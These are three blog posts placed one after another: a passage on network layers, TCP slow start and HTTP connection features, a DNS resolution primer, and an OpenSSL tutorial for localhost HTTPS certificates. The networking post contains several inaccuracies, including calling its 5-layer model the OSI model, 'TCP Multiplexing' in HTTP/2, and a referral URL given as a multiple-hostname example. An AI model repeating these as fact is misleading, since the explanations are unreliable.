While similar to TCP, it is a connection-less protocol. It is the complete opposite of TCP, making it unreliable and unordered. Dropped packets will not be re-transmitted, causing gaps in the data.

However, that makes it best for time-sensitive applications, such as voice calls over the internet (VoIP). This is because it does not require the 3-way handshake before transmitting, making it fast. In addition, dropped data packets are not a problem in VoIP, as the human ear is very good at handling the short gaps that are typical with dropped packets.

3. Network Layer

This layer is responsible for providing data routing paths for network connections. Basically, it moves data packets across the network with the most logical path.

Internet Protocol (IP)

Defines the structure of the data packets, as well as labeling it with the source and destination information.

The source and destination information are in the form of IP Addresses, in which can be in the form 104.16.121.127(IPv4), or 2001:db8:0:1234:0:567:8:1(IPv6).

4. Link/ Physical Layer

This layer is the root of the OSI model, where information is transmitted either in the Local Area Network (LAN) for the Link Layer, and a physical signal such as electrical, mechanical medium in the form of code words or symbols in the Physical Layer.

Visualising Routes

Using tracert google.com, the route can be traced from the client-side (your computer) to the host (google.com).

From above, you can see the route starting from my device 192.168.1.254 to the router 10.243.128.1, before passing through the Internet Service Provider (ISP) located in Portugal, and so forth.

Complementary Layers

TCP/IP Model

TCP will request for re-transmission of dropped data packets, and re-order them

IP is only responsible for the structure of the data packet. As such, it will not make amends if the data packet is corrupted, or dropped. This is where TCP comes into play, numbering the data packets before sending over to the client. At the client’s side, TCP will request for re-transmission of lost/corrupted packets, and then rearrange the packets of data.

HTTP/TCP Model

As we have mentioned earlier, HTTP can now make requests via the connection made by TCP Handshake. But how do they complement each other?

HTTP Persistent Connections
This would allow multiple HTTP request/response on a single TCP connection, as opposed to opening a new connection upon every request/response.

Sample response for Persistent Connection

This is done through the HTTP Header, where Connection: Keep-Alive. On default, the connection will only close upon another response where Connection: Close is sent after 30 seconds of idle.

TCP Slow Start
As mentioned before, TCP supports flow control. This is done through TCP Slow Start, which is a form of prevention for network congestion.

The sender has a congestion window (CWND) and the receiver has a receiver window (RWND). If the data is larger than the congestion/receiver window, there would be a buffer under/overrun respectively.

To prevent that, the sender will begin by sending a data packet with a small congestion window (CWND = 1), to slowly probe the receiver for its receiver window.

The receiver will respond with an acknowledge, prompting the sender to double the data packets each time until no acknowledge is received. At this point, the optimum number of data packets has been discovered, allowing other congestion control algorithms to keep the connection at this speed.

Working Together
Hence, TCP Slow Start is able to figure out the optimum number of data packets to send before the connection is closed. This will allow the amount of data sent from the host to the client to be optimized without the risk of buffer overrun (data is sent faster than it can be received).

Other HTTP Features

HTTP Pipelining

This feature in version HTTP/1.1 allows multiple requests to be sent at once on the same socket, without waiting for a response. However, it has been replaced by TCP Multiplexing in the newer version of HTTP/2.

The key difference is that although both allow for multiple requests all at once on the same socket, Pipelining would still require responses to be sent in order. It means that if the items requested are in the order (A, B, C), the client would not receive item C if item B has not been delivered properly.

In Multiplexing, the order does not matter. This would allow quicker delivery time.

These methods are best used for the idempotent method, which are methods that respond independently of the number of times requested — for example, requesting a web page multiple times will respond to the same web page.

Parallel Connections

Ever opened a webpage and seen multiple components of the webpage (video bar, thumbnails, buttons) load simultaneously?

_Multiple components loading simultaneously | Photo courtesy of [Cloudflare Mobile SDK](https://www.cloudflare.com/products/mobile-sdk/" rel="noopener" target="blank" title=")

This is made possible with Parallel Connections, where there is more than one TCP Connection established at the same time, allowing these components to load concurrently instead of one after another.

However, although it might seem to load faster, it might be held back by the client’s limited bandwidth. If all Parallel Connections are competing for the limited bandwidth, each component will load proportionately slower, resulting in zero advantage in total loading speed.

Conclusion

With the OSI Model, we can easily understand the big picture of networks, and how they interact with each other from hardware to software.

In general, it is a great teaching tool as well as a reference for troubleshooting. The model is also useful for design, as it investigates the functions at every layer, forcing one to ponder over the design layer by layer.

What I have gone through so far is the OSI 5-Layer Model, whereas there is also the OSI 7-Layer Model which also deals with Identification, Authentication and Data Encryption.

This is Part 2 of the HTTP Introductions Series. You can read the first article about the importance of DNS Servers in Part 1. Let’s explore the structure of HTTP Requests next in Part 3!

Hi! I’m Cher Don, currently pursuing a Major in Data Science. I’m the CTO of Paralegal Bot, and you can find my website below. Thanks for reading!

Piqued;
_Quality Content We offer the best content for difficult to grasp concepts. We've been there, and felt the same you do…_www.piqued.co

How does the DNS work, and why is it important?

Overview

Throughout this series, we will be tackling the basics such as:

• How does DNS work? [You are here!]
• Network Stack, OSI Model
• HTTP Methods and Formats
• Client Identification
• Basic/Digest Authentication
• HTTPS working with SSL/TLS

What is HTTP?

HyperText Transfer Protocol (HTTP) is a protocol devised by Sir Tim Berners Lee in 1989. It forms the basis for how web pages communicate from the web server to the client’s browser.

_Sir Tim Berners Lee, the Father of World Wide Web. Photo courtesy of [CNET](https://www.cnet.com/pictures/images-berners-lee-and-the-dawn-of-the-web/" rel="noopener" target="blank" title=")

DNS Servers

Is the connection to the webpage established immediately after typing in the Domain Name, such as medium.com? Definitely not!

Machines, unlike us, recognize the location of webpages by IP Addresses. These string of numbers, such as 104.16.121.127, are more machine friendly especially since there are millions of domain names on the Web.

The Domain Name System (DNS) plays a crucial role in the whole HTTP request process, as it allows us to call a webpage by typing a simple domain name, www.medium.com instead of 104.16.121.127 every time you want to access the site.

Without DNS, your brain would be filled with numbers just trying to remember the IP Addresses for every single website you use!

Flow of DNS Resolution, maintained by a distributed database system

Now that we know that an IP Address is requested every time we type in the domain name, let’s find out where this request searches for the correct IP Address.

Local Cache

A cache is a block of memory for temporary storage of data that has a high probability of being used again. The first thing that happens is the DNS Resolver (residing in your computer) will check the browser’s cache, followed by the computer’s DNS cache. If you accessed the website recently, it would have the IP address cached in the system.

In that case, the browser can immediately call the IP Address to retrieve the webpage!

One thing to note here is that every cache has an expiry date, called the “Time to Live” setting. This setting determines how long the cache may be stored when the website is accessed. We will address how that works later on.

DNS Recursor

If the IP Address can’t be found in the local cache, it will then request from the DNS Recursor. The DNS Recursor is often the DNS Server of your Internet Service Provider (ISP).

These Internal DNS Servers have caches from websites that their clients have visited recently. Again, if the IP Address can’t be found here, it will be passed on to the next Domain Server.

Root-Level Domain Server

The Root-Level Domain Server (RLDS), or sometimes called the ‘ . ’ Name Server, is simply a gatekeeper for requests. It reads the request and locates the appropriate domain server to redirect to.

As such, it plays an important role in redirection to the next layer of Domain Servers. They are dispersed all around the world to prevent malicious attacks from bringing down the World Wide Web by targeting the RLDS.

Top-Level Domain Server

The Top-Level Domain Server (TLDS) is the name server for domains that end with their specific domain suffixes such as .com, .org or .io. After being passed down by RLDS, this layer works in the same way as the second gatekeeper. It takes the requests and runs through its DNS Server to redirect the request to the last and final stop, the Second-Level Domain Server.

The number of domain names are increasing exponentially. It is impossible for the RLDS to be able to store or redirect such a sheer amount of IP Addresses. As such, it is redirected to the TLDS to diversify the processing power and memory required.

Second-Level Domain Server

This layer is where all the information is stored about the domain is accessible. This DNS Server is usually owned by the institute that is responsible for hosting your website.

As such, a request for the record of the domain is sent to this DNS Server. It returns the IP Address, along with other important information such as the server it is on, and the alias it has.

Success!

The browser now receives the IP Address. It uses it to establish a connection with the host server using TCP/IP and retrieve the webpage via HTTP. We will discuss this in Part 2.

“Time to Live” Setting

DNS Records have a Time to Live (TTL) Setting. This determines the amount of time that any of the domain servers can cache the record.

Caching is important. It reduces the loading time for the page, since the DNS information will have to be reacquired every time the domain name is requested. Hence, a high TTL would allow the DNS records to stay alive for a longer period of time. This allow webpages to load faster.

Why don’t all DNS Records have a high TTL then?

By having a high TTL, it would mean that visitors would not see changes to the DNS immediately. Visitors only see the change after the DNS Record has expired.

For example, if we were to change the host for this webpage, and have a high TTL, the changes would not appear on the visitors browser immediately. This might result in broken links and users not being able to access the webpage.

Hostname — IP Address Relationship

So a single domain name is attached to one IP Address?

The answer is yes… and no. It can be, but doesn’t have to be a one-to-one relationship.

Single Hostname, Multiple IP Addresses

A single hostname such as www.google.com can correspond to multiple IP Addresses, to balance the load on the server since there is a significant amount of users calling on the same webpage at any one given point in time.

DNS Servers use a “Round Robin” method, such that all IP Addresses are equally utilized.

Multiple Hostname, Single IP Address

The purpose for this might be for referral links. For example, searching amazon.com/products/pc will show the product screen for PCs. Although amazon.com/products/pc?user=cherdon will also show the same webpage, any purchase would tell Amazon that I was the referrer, allowing me to gain commission from it.

Companies often buy multiple domains that link to the same webpage as well. For example, google.com and google.net would link you to the same search engine webpage.

Conclusion

The DNS Server is very important as it stores a database for machine-friendly IP Addresses under user-friendly Domain Names. Now that we have learnt how DNS Servers work together in a distributed database, let us explore how the connection with the host server is established with the IP Address in Part 2!

Hi! I’m Cher Don, currently pursuing a Major in Data Science. I’m the CTO of Paralegal Bot, and you can find my website below. Thanks for reading!

Piqued;
_Quality Content We offer the best content for difficult to grasp concepts. We've been there, and felt the same you do…_www.piqued.co

Almost any website you visit today is protected by HTTPS. If yours isn’t yet, it should be. Securing your server with HTTPS also means that you can’t send requests to this server from one that isn’t protected by HTTPS. This poses a problem for developers who use a local development environment because all of them run on http://localhost out-of-the-box.

At the startup I’m a part of, we decided to secure our AWS Elastic Load Balancer endpoints with HTTPS as part of a move to enhance security. I ran into a situation where my local development environment’s requests to the server started getting rejected.

A quick Google search later, I found several articles like this, this or this one with detailed instructions on how I could implement HTTPS on localhost. None of these instructions seemed to work even after I followed them religiously. Chrome always threw a NET::ERR_CERT_COMMON_NAME_INVALID error at me.

The problem

All the detailed instructions I had found were correct for the time they were written. Not anymore.

After a ton of Googling, I discovered that the reason for my local certificate getting rejected was that Chrome had deprecated support for commonName matching in certificates, in effect, requiring a subjectAltName since January 2017.

The solution

We’ll be using OpenSSL to generate all of our certificates.

Step 1: Root SSL certificate

The first step is to create a Root Secure Sockets Layer (SSL) certificate. This root certificate can then be used to sign any number of certificates you might generate for individual domains. If you aren’t familiar with the SSL ecosystem, this article from DNSimple does a good job of introducing Root SSL certificates.

Generate a RSA-2048 key and save it to a file rootCA.key. This file will be used as the key to generate the Root SSL certificate. You will be prompted for a pass phrase which you’ll need to enter each time you use this particular key to generate a certificate.

openssl genrsa -des3 -out rootCA.key 2048

You can use the key you generated to create a new Root SSL certificate. Save it to a file namedrootCA.pem. This certificate will have a validity of 1,024 days. Feel free to change it to any number of days you want. You’ll also be prompted for other optional information.

openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.pem

Step 2: Trust the root SSL certificate

Before you can use the newly created Root SSL certificate to start issuing domain certificates, there’s one more step. You need to to tell your Mac to trust your root certificate so all individual certificates issued by it are also trusted.

Open Keychain Access on your Mac and go to the Certificates category in your System keychain. Once there, import the rootCA.pem using File > Import Items. Double click the imported certificate and change the “When using this certificate:” dropdown to Always Trust in the Trust section.

Your certificate should look something like this inside Keychain Access if you’ve correctly followed the instructions till now.

Step 2: Domain SSL certificate

The root SSL certificate can now be used to issue a certificate specifically for your local development environment located at localhost.

Create a new OpenSSL configuration file server.csr.cnf so you can import these settings when creating a certificate instead of entering them on the command line.

[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn

[dn]
C=US
ST=RandomState
L=RandomCity
O=RandomOrganization
OU=RandomOrganizationUnit
emailAddress=hello@example.com
CN = localhost

Create a v3.ext file in order to create a X509 v3 certificate. Notice how we’re specifying subjectAltName here.

authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names

[alt_names]
DNS.1 = localhost

Create a certificate key for localhost using the configuration settings stored in server.csr.cnf. This key is stored in server.key.

openssl req -new -sha256 -nodes -out server.csr -newkey rsa:2048 -keyout server.key -config <( cat server.csr.cnf )

A certificate signing request is issued via the root SSL certificate we created earlier to create a domain certificate for localhost. The output is a certificate file called server.crt.

openssl x509 -req -in server.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out server.crt -days 500 -sha256 -extfile v3.ext

Use your new SSL certificate

You’re now ready to secure your localhost with HTTPS. Move the server.key and server.crt files to an accessible location on your server and include them when starting your server.

In an Express app written in Node.js, here’s how you would do it. Make sure you do this only for your local environment. Do not use this in production.

I hope you found this tutorial useful. If you’re not comfortable with running the commands given here by yourself, I’ve created a set of handy scripts you can run quickly to generate the certificates for you. More details can be found on the GitHub repo.

I love helping fellow web developers. Follow me on Twitter and let me know if you have any suggestions or feedback. If you’d like to show your appreciation towards any of the work I’ve done, be it a blog post, an open source project or just a funny tweet, you can buy me a cup of coffee.